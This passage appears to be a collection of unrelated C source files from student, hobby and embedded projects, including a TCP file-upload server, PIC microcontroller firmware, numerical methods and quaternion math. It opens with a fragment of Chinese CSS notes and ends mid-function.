设置页面的外间距和内间距' '创建行内标签 设置样式和宽度高度[No]' '创建行内-块级标签 设置样式和宽高' 10 CSS的属性 分类:可继承的属性(文字控制)|不可继承的属性(区间控制) 代码:01 创建新的文件夹(CSS的属性) - 创建新的HTML文件(CSS可继承的属性) 02 拷贝01HTML文件 - 修改为新的HTML文件(CSS不可继承的属性) 02 创建新的HTML文件(CSS其他常用的属性) 内容: "可继承属性 ":文字的颜色|文字的大小|文字的字体等等 "不可继承属性":背景颜色|区块宽度|区块高度等 其他属性: "visibility":设置元素是否可见(内容隐藏了,但保持占位-display) "cursor":规定要显示的光标类型 "font":设置字体 font家族 "text-decoration":为文本设置修饰(下划线|穿透线等),可应用于为超链接去除下划线 第二天笔记 01 盒子模型 说明:每个标签都是一个盒子 内容: ① "内容-content"(文字和图片) 宽度和高度 ② "填充-padding"(内边距) 上-右-下-左 ③ "边框-border"(盒子本身) 宽度-样式-颜色 ④ "边界-margin"(外边距) 标准盒子模型:W3C出品 IE盒子模型:基于IE浏览器的核心做开发的浏览器 解决:针对IE体系和非IE体系来做两套适配。 其它属性: 设置盒子的内边距
C
#include<stdio.h> #include<stdlib.h> #include<string.h> struct dir { char dname[60]; char files[80][80]; }; struct dir d[50]; void sub() { printf("\n 1)Create Directory\n 2)Create File\n 3)Display files\n 4)Delete directory\n 5)Delete file\n 6)Search\n 0)Exit\n\n Select Option: "); int option; char dname[50],file_name[50]; scanf("%d",&option); switch(option) { case 0: exit(0); break; case 1: printf("Enter the name of the directory: "); scanf("%s",dname); for(int i=0;i<50;i++) if(strcmp(d[i].dname,"\0")==0) { strcpy(d[i].dname,dname); sub(); } printf("empty"); break; case 2: printf("Select the directory to store file:"); scanf("%s",dname); for(int i=0;i<50;i++) { if(strcmp(d[i].dname,dname)==0) { printf("Enter the filename: "); scanf("%s",file_name); for(int j=0;j<50;j++) if(strcmp(d[i].files[j],"\0")==0) { strcpy(d[i].files[j],file_name); printf("File is created"); sub(); } } } printf("Directory is unavailable"); break; case 3: printf("Select the directory to display files: "); scanf("%s",dname); for(int i=0;i<50;i++) { if(strcmp(d[i].dname,dname)==0) { for(int j=0;j<50;j++) if(strcmp(d[i].files[j],"\0")!=0) printf("%s\n",d[i].files[j]); sub(); } } printf("Directory is unavailable"); break; case 4: printf("Select directory to delete: "); scanf("%s",dname); for(int i=0;i<50;i++) if(strcmp(d[i].dname,dname)==0) { strcpy(d[i].dname,"\0"); printf("Directory is deleted"); sub(); } break; case 5: printf("Select directory to delete file: "); scanf("%s",dname); for(int i=0;i<50;i++) { if(strcmp(d[i].dname,dname)==0) { printf("Enter the filename: "); scanf("%s",file_name); for(int j=0;j<50;j++) if(strcmp(d[i].files[j],file_name)==0) { strcpy(d[i].files[j],"\0"); printf("The file is deleted"); sub(); } printf("File is not available"); sub(); } } printf("Directory is unavailable"); break; case 6: printf("Enter file to search for: "); scanf("%s",file_name); for(int i=0;i<50;i++) { for(int j=0;j<50;j++) { if(strcmp(d[i].files[j],file_name)==0) { printf("File '%s' found in dir '%s'\n",file_name,d[i].dname); strcpy(dname,"#FOUND"); } } } if(strcmp(dname,"#FOUND")!=0) printf("File is unavailable"); break; default: sub(); } sub(); } int main() { sub(); return 0; }
C
#include <stdio.h> int d[100000][2], a[100000][2]; int max(int x, int y) { return x<y?y:x;} int main(){ int T; scanf("%d", &T); while(T--){ int n; scanf("%d", &n); for (int i=0; i<n; i++) scanf("%d", &a[i][0]); for (int i=0; i<n; i++) scanf("%d", &a[i][1]); d[0][0]=a[0][0], d[0][1] =a[0][1]; for (int i=1; i<n; i++){ d[i][0]=d[i][1]=0; d[i][0]+=d[i-1][1]+a[i][0]; d[i][1]+=d[i-1][0]+a[i][1]; if ( i-2>=0) { d[i][0] = max(d[i][0], d[i-2][0]+a[i][0]); d[i][0] = max(d[i][0], d[i-2][1]+a[i][0]); d[i][1] = max(d[i][1], d[i-2][0]+a[i][1]); d[i][1] = max(d[i][1], d[i-2][1]+a[i][1]); } }; printf("%d\n", max(d[n-1][0],d[n-1][1])); } }
C
/* ** String.c for Project-Master in /home/tekm/tek1/cpp_d03/ex00 ** ** Made by leroy_0 ** Login <[email protected]> ** ** Started on Fri Jan 6 10:22:26 2017 leroy_0 ** Last update Fri Jan 6 10:22:27 2017 leroy_0 */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include "String.h" void StringInit(String *this, char const *s) { if (this) { if (s) this->str = strdup(s); } } void StringDestroy(String *this) { if (this) { if (this->str) free(this->str); this->str = NULL; } }
C
#include "stdio.h" int main(void) { int area_code; printf("%s", "Please enter a Georgia area code: "); scanf("%d", &area_code); switch (area_code) { case 229: printf("%s\n", "Albany"); break; case 478: printf("%s\n", "Macon"); break; case 912: printf("%s\n", "Savannah"); break; case 706: case 762: printf("%s\n", "Columbus"); break; case 404: case 470: case 678: case 770: printf("%s\n", "Atlanta"); break; default: printf("%s\n", "Area code not recognized"); } return 0; }
C
/* * File: main.c * Author: digibird1 * (c) 2015 * https://digibird1.wordpress.com/ http://www.microchip.com/forums/m827267.aspx#828385 It seems for the output registers it is good to have a shadow * register to avoid read-modify-write-effect */ #define _XTAL_FREQ 8000000 #include <xc.h> #include <pic16f690.h> #include "UART.h" #include "myPicTools.h" // BEGIN CONFIG // CONFIG #pragma config FOSC = INTRCIO // Oscillator Selection bits (EC: I/O function on RA4/OSC2/CLKOUT pin, CLKIN on RA5/OSC1/CLKIN) #pragma config WDTE = OFF // Watchdog Timer Enable bit (WDT enabled) #pragma config PWRTE = OFF // Power-up Timer Enable bit (PWRT disabled) #pragma config MCLRE = ON // MCLR Pin Function Select bit (MCLR pin function is MCLR) #pragma config CP = OFF // Code Protection bit (Program memory code protection is disabled) #pragma config CPD = OFF // Data Code Protection bit (Data memory code protection is disabled) #pragma config BOREN = ON // Brown-out Reset Selection bits (BOR enabled) #pragma config IESO = ON // Internal External Switchover bit (Internal External Switchover mode is enabled) #pragma config FCMEN = ON // Fail-Safe Clock Monitor Enabled bit (Fail-Safe Clock Monitor is enabled) //END CONFIG void interrupt ISR(void) { //Turn ON/OFF RC3 in order to indicate //that an interrupt occured //useful for debugging if(checkBit(ShadowPortC,3)>0){ SetBitReg(Reg_PORTC,3,LOW); } else{ SetBitReg(Reg_PORTC,3,HIGH); } //UART interrupt if(RCIF && RCIE){ UART_Interrupt(); return; } } //Read ADC void Get_Inputs(void) { __delay_ms(1); //Start conversion by setting the GO/DONE bit. ADCON0bits.GO_nDONE = 1; //Wait for ADC conversion to complete //Polling the GO/DONE bit // 0 = ADC completed // 1 = ADC in progress while(ADCON0bits.GO_nDONE == 1); } int main() { initShadowRegisters(); TRISC = 0; //RC0 as Output PIN //TRISC1 = 0; //Clear Analog Inputs and make pins digital pins ANSEL=0b00000001;//set RA0 as analog pin ANSELH=0; IRCF0 = 0b111;//set prescaler UART_Init(); UART_writeString("Startup ... done\n"); //ADC //Select ADC conversion clock Frc ADCON1bits.ADCS = 0b111; //Configure voltage reference using VDD ADCON0bits.VCFG = 0; //Select ADC input channel (RA0/AN0) ADCON0bits.CHS = 0; //Select result format right justified //right=1 is good when using all 10 bits the two bytes can be concatenated //easily into an integer //left=0 is good when using the 8 most significant bits ADCON0bits.ADFM = 1; //Turn on ADC module ADCON0bits.ADON = 1; while(1) { //--------------------------------------------- //Blink LED on RC0 and RC1 SetBitReg(Reg_PORTC,0,HIGH); SetBitReg(Reg_PORTC,1,LOW); __delay_ms(100); // 100ms Delay SetBitReg(Reg_PORTC,0,LOW); SetBitReg(Reg_PORTC,1,HIGH); __delay_ms(100); // 100ms Delay //--------------------------------------------- //--------------------------------------------- //UART communication while(UART_DataAvailable()>0){ //char a=UART_ReadByte(); //UART_writeByte(a); //UART_writeByte('\n'); UART_writeNumber(UART_DataAvailable()); UART_writeByte('\n'); UART_writeString(UART_ReadString()); UART_writeByte('\n'); } if(UART_DataAvailable()<0){ UART_writeString("Data Lost Reset UART\n"); UART_Reset(); } //Print a Register // UART_writeBitPattern(ANSELH); // UART_writeByte('\n'); //--------------------------------------------- //--------------------------------------------- //Read ADC Get_Inputs(); unsigned int ADC_Value=0; ADC_Value=ADRESH<<8 | ADRESL; UART_writeNumber(ADC_Value); UART_writeByte('\n'); if(checkBit(ShadowPortC,1)>0) SetBitReg(Reg_PORTC,2,HIGH); //--------------------------------------------- } return 0; }
C
#include "unit.h" /************ UNIT *********************/ UNIT Unit_CreateEmpty(POINT P) { UNIT U; U.Location = P; U.Type = ' '; U.Owner = 0; U.Max_Health = 50; U.Health = 50; U.Attack = 10; U.Movement = 1; U.Attack_Type = Melee; U.Price = 0; boolean Attack_Chance = false; boolean Controlled = false; return U; } UNIT Unit_Init(char type, POINT P, int owner) /* Mengirimkan stat awal untuk unit yang diinginkan berdasarkan parameter type */ /* Unit : King(K), Swordsman(S), Archer(A), WhiteMage(W) */ { UNIT U; if(type == 'A') { /*type unit = Archer */ U.Location.X = P.X; U.Location.Y = P.Y; U.Type = 'A'; U.Owner = owner; U.Max_Health = 30; U.Health = 30; U.Attack = 5; U.Movement = 2; U.Attack_Type = Ranged; U.Price = 5; boolean Attack_Chance = false; boolean Controlled = false; } else if(type == 'S') { /*type unit = Swordsman */ U.Location.X = P.X; U.Location.Y = P.Y; U.Type = 'S'; U.Owner = owner; U.Max_Health = 25; U.Health = 25; U.Attack = 10; U.Movement = 4; U.Attack_Type = Melee; U.Price = 4; boolean Attack_Chance = false; boolean Controlled = false; } else if(type == 'W') { /* type unit = WhiteMage */ U.Location.X = P.X; U.Location.Y = P.Y; U.Type = 'W'; U.Owner = owner; U.Max_Health = 40; U.Health = 40; U.Attack = 5; U.Movement = 2; U.Attack_Type = Ranged; U.Price = 10; boolean Attack_Chance = false; boolean Controlled = false; } else if(type == 'K') { /* type unit = King */ U.Location.X = P.X; U.Location.Y = P.Y; U.Type = 'K'; U.Owner = owner; U.Max_Health = 50; U.Health = 50; U.Attack = 10; U.Movement = 1; U.Attack_Type = Melee; U.Price = 0; boolean Attack_Chance = false; boolean Controlled = false; } return U; } void Unit_PrintType(char type) /* Print unit dalam string berdasarkan type */ { if(type == 'K') { printf("King"); } else if(type == 'A') { printf("Archer"); } else if(type == 'S') { printf("Swordsman"); } else if(type == 'W') { printf("Whitemage"); } }
C
/** * This program * * @author Bethany Armitage * Course: Comsb25 * Created: Sat 09/28/2013 * Source File: pointersAndArraysMain.c */ #include <stdio.h> #include <stdlib.h> #include <time.h> void concatStrPtr(char *dstr, const char *src); void concatStrIndex(char dstr[], const char src[]); int main(){ char dstr1[80] = { 'A', 'B', 'C', 'D', 'E', '\0' }; char src1[] = "1234"; char dstr2[80] = { 'A', 'B', 'C', 'D', 'E', '\0' }; char src2[] = "1234"; concatStrPtr( dstr1, src1); printf("With pointers: %s\n", dstr1); concatStrIndex( dstr2, src2); printf("With Indices: %s\n", dstr2); return 0; }
C
#include <stdio.h> int main(void) { typedef enum { false = 0, true = !false } bool; bool drinking_age; int age; printf("Enter your age: "); scanf("%d", &age); if (age < 21) { drinking_age = false; } else { drinking_age = true; } if (drinking_age) { printf("You are of drinking age\n"); } else { printf("You are not of drinking age.\n"); } return 0; }
C
/* $OpenBSD: atomic.h,v 1.9 2014/07/19 05:27:17 dlg Exp $ */ /* Public Domain */ #ifndef _VAX_ATOMIC_H_ #define _VAX_ATOMIC_H_ #if defined(_KERNEL) #include <machine/mtpr.h> #include <machine/intr.h> static __inline void atomic_setbits_int(volatile unsigned int *uip, unsigned int v) { int s; s = splhigh(); *uip |= v; splx(s); } static __inline void atomic_clearbits_int(volatile unsigned int *uip, unsigned int v) { int s; s = splhigh(); *uip &= ~v; splx(s); } static __inline unsigned int atomic_add_int_nv_sp(volatile unsigned int *uip, unsigned int v) { int s; unsigned int nv; s = splhigh(); *uip += v; nv = *uip; splx(s); return nv; } static __inline unsigned int atomic_sub_int_nv_sp(volatile unsigned int *uip, unsigned int v) { int s; unsigned int nv; s = splhigh(); *uip -= v; nv = *uip; splx(s); return nv; } static inline unsigned int atomic_cas_uint_sp(unsigned int *p, unsigned int o, unsigned int n) { int s; unsigned int ov; s = splhigh(); ov = *p; if (ov == o) *p = n; splx(s); return ov; } static inline unsigned int atomic_swap_uint_sp(unsigned int *p, unsigned int v) { int s; unsigned int ov; s = splhigh(); ov = *p; *p = v; splx(s); return ov; } #define atomic_add_int_nv atomic_add_int_nv_sp #define atomic_sub_int_nv atomic_sub_int_nv_sp #define atomic_cas_uint atomic_cas_uint_sp #define atomic_swap_uint atomic_swap_uint_sp #define atomic_add_long_nv(p,v) \ ((unsigned long)atomic_add_int_nv((unsigned int *)p, (unsigned int)v)) #define atomic_sub_long_nv(p,v) \ ((unsigned long)atomic_sub_int_nv((unsigned int *)p, (unsigned int)v)) #define atomic_cas_ulong(p,o,n) \ ((unsigned long)atomic_cas_uint((unsigned int *)p, (unsigned int)o, \ (unsigned int)n)) #define atomic_cas_ptr(p,o,n) \ ((void *)atomic_cas_uint((unsigned int *)p, (unsigned int)o, \ (unsigned int)n)) #define atomic_swap_ulong(p,o) \ ((unsigned long)atomic_swap_uint((unsigned int *)p, (unsigned int)o) #define atomic_swap_ptr(p,o) \ ((void *)atomic_swap_uint((unsigned int *)p, (unsigned int)o)) static inline void __sync_synchronize(void) { __asm__ volatile ("" ::: "memory"); } #endif /* defined(_KERNEL) */ #endif /* _VAX_ATOMIC_H_ */
C
#include <stdio.h> typedef struct _sbj{ int k; int s; }sbj; void swap(sbj* a, sbj* b){ sbj tmp = *a; *a = *b; *b = tmp; } void sort(sbj* arr, int len){ int swaped; while(1){ swaped = 0; for(int i=0;i<len-1;i++){ if(arr[i].s<arr[i+1].s){ swap(&arr[i],&arr[i+1]); swaped = 1; } } if(!swaped) break; } } int main(){ int n, t, ret=0; sbj arr[100]; scanf("%d%d",&n,&t); for(int i=0;i<n;i++) scanf("%d%d",&arr[i].k,&arr[i].s); //print // for(int i=0;i<n;i++) // printf("%d %d\n",arr[i].k,arr[i].s); sort(arr, n); //print // for(int i=0;i<n;i++) // printf("%d %d\n",arr[i].k,arr[i].s); for(int i=0;i<n;i++){ if(t>=arr[i].k){ t-=arr[i].k; ret+=arr[i].s; } else { continue; } } printf("%d\n",ret); return 0; }
C
/* * EULER'S ALGORITHM 5.1 * * TO APPROXIMATE THE SOLUTION OF THE INITIAL VALUE PROBLEM: * * Y' = F(T,Y), A <= T <= B, Y(A) = ALPHA, * * AT N+1 EQUALLY SPACED POINTS IN THE INTERVAL [A,B]. * * INPUT: ENDPOINTS A, B; INITIAL CONDITION ALPHA; INTEGER N. * * OUTPUT: APPROXIMATION W TO Y AT THE (N+1) VALUES OF T. */ #include <stdio.h> #include <math.h> #define true 1 #define false 0 double F( double, double ); void INPUT( int*, double*, double*, double*, int* ); void OUTPUT( FILE** ); main() { double A, B, ALPHA, H, T, W ; int I, N, OK ; FILE *OUP ; INPUT( &OK, &A, &B, &ALPHA, &N ); if( OK ) { OUTPUT( &OUP ); /* STEP 1 */ H = (B - A) / N; T = A; W = ALPHA; fprintf( OUP, "%5.3f %11.7f \n", T, W); /* STEP 2 */ for( I=1; I<=N; I++ ) { /* STEP 3 */ /* COMPUTE W(I) */ W = W + H * F(T, W); /* COMPUTE T(I) */ T = A + I * H; /* STEP 4 */ fprintf( OUP, "%5.3f %11.7f \n", T, W); } /* STEP 5 */ fclose( OUP ); } return 0; }// main() /* Change function F for a new problem */ double F( double T, double Y ) { double f ; f = T*Y ; return f ; } void INPUT( int *OK, double *A, double *B, double *ALPHA, int *N ) { char AA; printf("\n This is Euler's Method. \n\n"); printf("Has the function F been defined? \n"); printf("Enter Y or N. \n"); scanf( "%c",&AA ); *OK = false; if( (AA == 'Y') || (AA == 'y') ) { *OK = false; while( !(*OK) ) { printf("\n Input left and right endpoints separated by blank: \n"); scanf( "%lf %lf", A, B ); if( *A >= *B ) printf("Left endpoint must be less than right endpoint! \n"); else *OK = true; } printf("\n Input the initial condition [value of Y(%g)]: \n", *A); scanf( "%lf", ALPHA ); *OK = false; while( !(*OK) ) { printf("\n Input a positive integer for the number of subintervals: \n"); scanf( "%d", N ); if( *N <= 0.0 ) printf("Number must be a positive integer! \n"); else *OK = true; } } else printf("The program will end so that the function can be created. \n"); }// INPUT() void OUTPUT( FILE **OUP ) { char NAME[32]; int FLAG; printf("\n Choice of output method: \n"); printf("1. Output to screen \n"); printf("2. Output to text file \n"); printf("Please enter 1 or 2: \n"); scanf( "%d", &FLAG ); if( FLAG == 2 ) { printf("Input the file name in the form - drive:name.ext \n"); printf("For example A:OUTPUT.DTA \n"); scanf( "%s", NAME ); *OUP = fopen( NAME, "w" ); } else *OUP = stdout; fprintf( *OUP, "\n EULER'S METHOD\n\n" ); fprintf( *OUP, " t w \n\n" ); }// OUTPUT()
C
/*O_RDONLY, O_WRONLY, O_CREAT, O_* */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #define SIZE 1024 /* open(const char*path, int oflag [, mode]); * ssize_t read(int fildes, void*buf, size_t nbyte); * ssize_t write(int fildes, const void*buf, size_t nbyte); * off_t lseek(int fd, off_t offset, int whence); * int close(int fildes);* */ int main (int argc , char * argv[]){ char buffer[SIZE]; if (argc<0 || argc>3){ perror("Erro de falta de argumentos"); } else{ int fd1 = open(argv[1],O_RDONLY); int fd2 = open(argv[2],O_CREAT | O_RDWR); if (fd1==(-1)||fd2 ==(-1)){ perror("Erro de acesso ao(s) ficheiros"); } else{ int l; while((l=read(fd1,buffer,SIZE))>0){ write(fd2,buffer,l); } close(fd1); close(fd2); } } }
C
#include "cmsis_os2.h" // ARM::CMSIS:RTOS2:Keil RTX5 #include "board.h" static void vLEDTask (void *argument) { volatile bool LedState = false; while (1) { osThreadFlagsWait(0x0001, osFlagsWaitAny ,osWaitForever); Board_LED_Set(0, LedState); LedState = (bool) !LedState; } } static void app_main (void *argument) { osThreadId_t tid = osThreadNew(vLEDTask, NULL, NULL); while (1) { osThreadFlagsSet(tid, 0x0001); osDelay(1000); } } int main(void) { SystemCoreClockUpdate(); Board_Init(); /* Initial LED0 state is off */ Board_LED_Set(0, false); osKernelInitialize(); // Initialize CMSIS-RTOS osThreadNew(app_main, NULL, NULL); // Create application main thread if (osKernelGetState() == osKernelReady) { osKernelStart(); // Start thread execution } return 1; }
C
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <pthread.h> typedef struct login_pack { char user[20]; char pass[20]; } login_pack; typedef struct header { char size[10]; char name[50]; } header; typedef struct thread_arg { int sock; pthread_mutex_t *locka, *lockl; } thread_arg; int login_req(int sock, pthread_mutex_t *lock) { login_pack received; char user[20], pass[20], ans[2]; FILE *data; int flag = 0; pthread_mutex_lock(lock); data = fopen("accounts","r"); if(recv(sock,&received,sizeof(login_pack),0) < 0) { fprintf(stderr,"recv failed\n"); return 0; } while(fscanf(data,"%s %s", user, pass)!=EOF) { if(strcmp(user,received.user) == 0 && strcmp(pass,received.pass) == 0) { fclose(data); pthread_mutex_unlock(lock); sprintf(ans,"%d",1); write(sock,ans, sizeof(char)*2); return 1; } } fclose(data); pthread_mutex_unlock(lock); sprintf(ans,"%d",0); write(sock,ans, sizeof(char)*2); return 0; } int check_validity(char *path) { int i; char folder[30]; if(path[0]!='/') { fprintf(stderr,"Invalid path\n"); return 0; } for(i = 1; path[i]!='\0'&&path[i]!='/';i++) folder[i-1]=path[i]; folder[i-1]='\0'; if(path[i]=='/') { if(!(!strcmp(folder,"Sales") ||!strcmp(folder,"Promotions")|| !strcmp(folder,"Offers") || !strcmp(folder,"Marketing"))) { fprintf(stderr,"Invalid path\n"); return 0; } } for(;path[i]!='\0';i++) { if(path[i]=='.'||path[i]=='/') { fprintf(stderr,"Invalid path\n"); return 0; } } return 1; } void recv_file(int sock, pthread_mutex_t *lock) { header h; int size; int r; char ans[2],buffer[512]; FILE *file,*data; if(recv(sock,&h,sizeof(header),0)<0) { printf("Unsucessful transaction\n"); fprintf(stderr, "recv failed"); return; } if(!check_validity(h.name)) { sprintf(ans,"%d",0); write(sock,ans, sizeof(char)*2); return; } file = fopen(h.name,"w"); if(file == NULL) { printf("Error opening file %s\n",h.name); sprintf(ans,"%d",0); write(sock,ans, sizeof(char)*2); return; } sprintf(ans,"%d",1); write(sock,ans, sizeof(char)*2); size = atoi(h.size); while(size > 0) { r = recv(sock,buffer,size <512 ? size:512,0); if(r <= 0) { printf("Unsucessful transaction\n"); fprintf(stderr, "recv failed"); return; } printf("receiving\n"); size -= r; fwrite(buffer,sizeof(char),r, file); } fclose(file); sprintf(ans,"%d",1); write(sock,ans, sizeof(char)*2); pthread_mutex_lock(lock); data = fopen("log","a"); fprintf(data,"Added file %s in time %ld\n",h.name,time(NULL)); fclose(data); pthread_mutex_unlock(lock); return; } thread_arg* create_arg(int sock, pthread_mutex_t *locka, pthread_mutex_t *lockl) { thread_arg *new_a = (thread_arg*)malloc(sizeof(thread_arg)); new_a->sock = sock; new_a->locka = locka; new_a->lockl = lockl; return new_a; } void *thread(void *arg) { thread_arg *args = (thread_arg*)arg; if(!login_req(args->sock,args->locka)) { close(args->sock); return NULL; } printf("loggin approved\n"); recv_file(args->sock,args->lockl); free(arg); return NULL; } void server() { thread_arg *arg; pthread_t threadid; pthread_mutex_t locka = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t lockl = PTHREAD_MUTEX_INITIALIZER; int socket_desc , client_sock , c; struct sockaddr_in server , client; socket_desc = socket(AF_INET , SOCK_STREAM , 0); if (socket_desc == -1) { printf("Could not create socket"); return; } //Prepare the sockaddr_in structure server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons( 8888 ); //Bind if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0) { perror("bind failed. Error"); return; } for(;;) { //Listen listen(socket_desc , 10); //Accept and incoming connection c = sizeof(struct sockaddr_in); //accept connection from an incoming client client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c); if (client_sock < 0) { perror("accept failed"); continue; } arg = create_arg(client_sock, &locka, &lockl); pthread_create(&threadid,NULL,thread, (void*)arg); } } int main() { server(); return 0; }
C
#include <math.h> #include "matrix.h" #include "tool.h" struct complex_number { float r; float i; }; complex_number complex_number_i = {0,1}; complex_number complex_number_div(complex_number c,float d) { c.r = c.r/d; c.i = c.i/d; return c; } complex_number complex_number_mul(complex_number c1,complex_number c2) { complex_number result; result.r = c1.r*c2.r - c1.i*c2.i; result.i = c1.r*c2.i + c1.i*c2.r; return result; } void complex_number_dump(complex_number c) { printf("t:%f,i:%f\n",c.r,c.i); } /* https://www.youtube.com/watch?v=uRKZnFAR7yw FamousMathProbs13a: The rotation problem and Hamilton's discovery of quaternions I complex number is z = (a,b),一个实数对 计算法则是: (a,b) + (c,d) = (a+c,b+d) (a,b)x(c,d) = (ac - bd,ad+bc) laws: z+w = w+z z*w = w*z (z+w)+u = z + (w+u) (z*w)*u = z*(w*u) z(w+u) = z*w + z*u special complex numbers: I = (1,0) I*z = z*I = z O = (0,0) O+ z = z+ O = z 前方高能: A: 用(a,0)乘以一个复数z的作用是把z缩放a倍: (a,0) * (c,d) = (ac,ad) = a(c,d) B: 用(0,a)乘以一个复数z的所用是把z缩放a倍,并旋转1/4圈: (0,a)*(c,d) = (-ad,ac) = a(-d,c) 其实复数部分的定义是: i = (0,1) 所以i^2 = (0,1)*(0,1) = (-1,0) so i^2 = -1; 引进(a,b) = a(1,0) + b(0,1) = a + bi 这样的话仅仅需要记住: (3+5i)(-2+i) = -6 + 3i - 10i + 5i^2 = (-6-5) + (3-10)i = -11-7i (0,a) = ai; /////////////////////// 令 ž = (a,-b) quadrance(欧式距离?) of z is Q(z) = z*ž = a^2 + b^2 (a,b)*(a,-b) = (a*a - (b*(-b)),a*(-b)+(b*a) = (a^2 + b^2,0) = a^2 + b^2 ///////////////////// 主定理: Q(zw) = Q(z)Q(w) proof: if z = a+bi,w = c+di (ac-bd)^2 + (ad+bc)^2 =a^2*c^2 + b^2*d^2 - 2*abcd + a^2*d^2 + b^2*c^2 + 2*abcd =(a^2 + b^2)*(c^2 + d^2) ////////////////////// quadrance 是 长度的合理的近似物 那么角度的合理近似物是什么呢?spead?turn? half-turn? z = a + bi 旋转u=turn of z 是 b/a z1 = a1+b1*i z2 = a2+b2*i the turn form z1 to z2: u(z1,z2) = (a1*b2 - a2*b1) / (a1*a2 + b1*b2) // 主定理: u(z,w) = u(z*v,w*v) proof: if z = a+bi,w = c+di, v = x+yi 省略。。。 */ // z = u + i*v; // order pair of numbers(u,v) //orderd pair of numbers (t,x,y,z) /* (t1,x1,y1,z1) + (t2,x2,y2,z2) = (t1+t2,x1+x2,y1+y2,z1+z2) (t1,x1,y1,z1) * (t2,x2,y2,z2) = (t1t2 - x1x2 - y1y2 - z1z2, t1x2 + t2x1 + y1z2 - y2z1, t1y2 + t2y1 + z1x2 - x2x1, t1z2 + t2z1 + x1y2 - x2y1) write q = (t,x,y,z) = (t,v),where v = (x,y,z) (t1,v1) + (t2,v2) = (t1+t2,v1+v2) (t1,v1) * (t2,v2) = (t1t2 - v1.v2,t1v2 + t2v1 + v1xv2) ///////////////////////// laws: q1 + q2 = q2 + q1 (q1+q2)+q3 = q1 + (q2+q2) q1xq2 != q2xq1 //communitive 交换律 (q1xq2)xq3 = q1x(q2xq3) //associativity 结合律 q1(q2+q3) = q1q2 + q1q3 (q1+q2)q3 = q1q3 + q2q3 它是一个非交换代数的例子 I = (1,0,0,0) Ixq = qxI = q O = (0,0,0,0) O+q = q+O = q 证明这些laws: 我们把quaternions 和 2x2负数矩阵联系起来 q = (t,x,y,z) <-----> Mq = { t + xi y + zi -y + zi t - xi} https://www.youtube.com/watch?v=g22jAtg3QAk 21分钟 //////////////////////////////////// 特殊的quaternions: I = (1,0,0,0) <-----> (1 0 0 1) l = (0,1,0,0) <-----> (i 0 0 -i) j = (0,0,1,0) <-----> (0 1 -1 0) k = (0,0,0,1) <-----> (0 i i 0) l^2 = j^2 = k^2 = -1 lj = k,jk=l,kl=j jl =-k,kj=-l,lk = -j q = (t,x,y,z) => ǭ = (t,-x,-y,-z) Q(q) = q*ǭ = t^2 + x^2 + y^2 + z^2 proof: (t,v)(t,-v) = (t^2 + v.v , t(-v) + tv + v x (-v)) = (t^2 + v.v,0) = (t^2 + v.v) //////////////////////////////// Inverses qǭ = ǭq = Q(q),表明 q-1 = ǭ/Q(q) unit quaternions : Q(q) = 1 in this case q-1 = ǭ /////////////////////////////// the quaternion inner product (t1,x1,y1,z1).(t2,x2,y2,z2) = t1t2 + x1x2 + y1y2 + z1z2 then Q(q) = q.q ////////////////////////////// the quaternion inner product (t1,x1,y1,z1).(t2,x2,y2,z2) = t1t2 + x1x2 + y1y2 + z1z2 所以 Q(q) = q.q */ struct quaternion_vector { float x,y,z; }; quaternion_vector quaternion_vector_add(quaternion_vector v1,quaternion_vector v2) { quaternion_vector q; q.x = v1.x + v2.x; q.y = v1.y + v2.y; q.z = v1.z + v2.z; return q; } quaternion_vector quaternion_vector_sub(quaternion_vector v1,quaternion_vector v2) { quaternion_vector q; q.x = v1.x - v2.x; q.y = v1.y - v2.y; q.z = v1.z - v2.z; return q; } quaternion_vector quaternion_vector_mul(quaternion_vector v1,float num) { quaternion_vector q; q.x = v1.x * num; q.y = v1.y * num; q.z = v1.z * num; return q; } float quaternion_vector_dot_mul(quaternion_vector v1,quaternion_vector v2) { return v1.x*v2.x + v1.y * v2.y + v1.z * v2.z; } quaternion_vector quaternion_vector_cross_mul(quaternion_vector q1,quaternion_vector q2) { quaternion_vector v; v.x = q1.y * q2.z - q1.z * q2.y; v.y = q1.z * q2.x - q1.x * q2.z; v.z = q1.x * q2.y - q1.y * q2.x; return v; } struct quaternion { float t; union{ struct { float x,y,z; }; quaternion_vector vec_x_y_z; }; quaternion():t(0),x(0),y(0),z(0){}; quaternion(float t,float x,float y,float z){ this->t = t; this->x = x; this->y = y; this->z = z; }; void dump() { printf("t:%f,x:%f,y:%f,z:%f \n",t,x,y,z); printf("%d,%d\n",sizeof(quaternion::vec_x_y_z),sizeof(quaternion)); } // i j k //i^2 = j^2 = k^2 = i*j*k = -1 }; quaternion quaternion_conjugate(quaternion q1) { quaternion q; q.t = q1.t; q.vec_x_y_z.x = -q1.vec_x_y_z.x; q.vec_x_y_z.y = -q1.vec_x_y_z.y; q.vec_x_y_z.z = -q1.vec_x_y_z.z; return q; } float quaternion_get_norm(quaternion q1) { q1.dump(); float norm_v = q1.t * q1.t + q1.x * q1.x + q1.y * q1.y + q1.z * q1.z; norm_v = norm_v * InvSqrt(norm_v); printf("222normal is %f \n",norm_v); return norm_v; } quaternion quaternion_normalize(quaternion q1) { float norm = q1.t * q1.t + q1.x * q1.x + q1.y * q1.y + q1.z * q1.z; float norm_inverse = 1/sqrt(norm); q1.t *= norm_inverse; q1.x *= norm_inverse; q1.y *= norm_inverse; q1.z *= norm_inverse; return q1; } quaternion quaternion_inverse(quaternion q1) { // q-1 = q* / norm(q) //because q*q-1 = q * q* / norm(q) = (t^2 + x^2 + y^2 + z^2)/norm(q) = 1; //q*q-1 = 1 //q-1 = 1/q = cong(q)/(q * conj(q) ) = conj(q)/ norm(q) //对于单位向量q,q-1 = conj(q) float norm = quaternion_get_norm(q1); quaternion q = quaternion_conjugate(q1); q.t = q.t/norm; q.vec_x_y_z.x = q.vec_x_y_z.x/norm; q.vec_x_y_z.y = q.vec_x_y_z.y/norm; q.vec_x_y_z.z = q.vec_x_y_z.z/norm; return q; } quaternion quaternion_add(quaternion q1,quaternion q2) { quaternion q; q.t = q1.t + q2.t; q.vec_x_y_z = 